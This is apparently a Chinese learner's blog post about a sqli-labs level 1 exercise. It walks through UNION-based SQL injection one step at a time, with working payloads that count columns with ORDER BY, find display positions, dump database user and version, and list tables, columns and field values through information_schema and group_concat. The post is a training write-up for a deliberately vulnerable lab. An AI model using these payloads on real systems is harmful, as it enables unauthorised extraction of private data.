- 在学习了部分联合注入的原理后,还没有真正实操过,所以搭建了个sql-labs的靶场实践下,发现没有实操过果然还是会遗漏许多细节的,本篇主要总结了下联合注入的实操,如何一步一步地从数据库名到列出字段值
- 我选择的是靶场sql-labs的第一关,因为比较简单
- 为了能够更加清晰地找出问题所在,需要改下靶场源码,让靶场能够有回显
首先找到$id=$_GET['id'];
在底下加入 echo "有效输入:".$id."<br>";
然后找到 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
在底下加入 echo "执行的sql语句"."$sql"."<br>";
- 加入了之后页面是这样的,拥有输入回显和SQL语句回显
- 首先我们尝试单引号
'
报错回显,发现是可以造成SQL语法错误的
- 然后我们尝试下
?id=1' and 1=1#
,然后问题就出来了,#
并没有注释掉后面的内容
- OK,那
#
不行,那我们尝试下--
,然而很遗憾,依旧是注释不掉后面的内容
- 后来我看了下别人的方法,才发现很多细节是我没学到的
- 比如URL栏里的
#
会将后面的内容全部注释掉,所以发送的请求包#
后的内容包括#
都会消失
- 所以想用到
#
注释,必须要先将#
经过URL编码,#
的URL编码是%23
?id=1' and 1=1%23
这里必须注意and两边必须有空格,否则语句将会不成立
- 然后再说说注释符号
--
,在使用符号--
注释的时候,--
后面不能跟单引号'
,需要用到一个+
分格,+
在语句中会变成空格,这就是为什么许多人注入的语句后面是--+
的原因。
?id=1' and 1=1--+
- 在踩了这几个坑后就可以开始正式的操作啦
- 第一步,利用order by判断字段数量
?id=1' order by 1--+
在order by
还是3
的时候,页面还是显示正常的
到4
的时候页面就出错了
说明调用的这张表,它只有三个字段
- 第二步,利用联合注入判断显示位置,看看哪个字段可以显示在页面上
?id=-1' union select 1,2,3--+
结果只有2和3才能显示在页面上
- 第三步,查看数据库信息,将显示位3替换为其他信息的查询
?id=-1' union select 1,2,CONCAT_WS('|',user(),database(),version(),@@datadir,@@version_compile_os)--+
这里注意,分割符号两边得加引号
可以看到显示位3上输出了许多信息
- 第四步,在已知数据库名为security后,列出所有的表名
?id=-1' union select 1,2,table_name from information_schema.tables where table_schema='security' limit 0,1--+
通过不断变换limit的参数,可以查看不同的表名
- 第五步,在已知数据库为security且表名为emails的情况下,查看表的字段
?id=-1' union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1--+
同样的,变换limit的参数,可以查看不同的字段
- 第六步,已知字段值的情况下,查看表emails的字段值
?id=-1' union select 1,2,group_concat(email_id) from emails--+
通过group_concat可以列出指定字段的所有值,并且排成一行,默认是逗号分格
- 总结下
- 联合注入的基本步骤为:查找注入点->查找显示位->输出数据库信息->根据数据库名输出表名->根据数据库名和表名输出字段名->根据表名和字段名输出字段值
- 数据库
information_schema
中表tables
是用来记录所有表名的,而表columns
是用来记录所有字段名的 - 请求包不会出现
#
号,只能经过URL编码 - 用–注释,如果后面有单引号,注释是不会生效的,需要插入
+
号,+
会自动转换成空格,所以最好地注释就是--+
- SQL语句对空格挺敏感的,一旦该加空格的地方没加空格,语句就会不成立
- 在使用CONCAT_WS()的时候,分隔符号两边必须加引号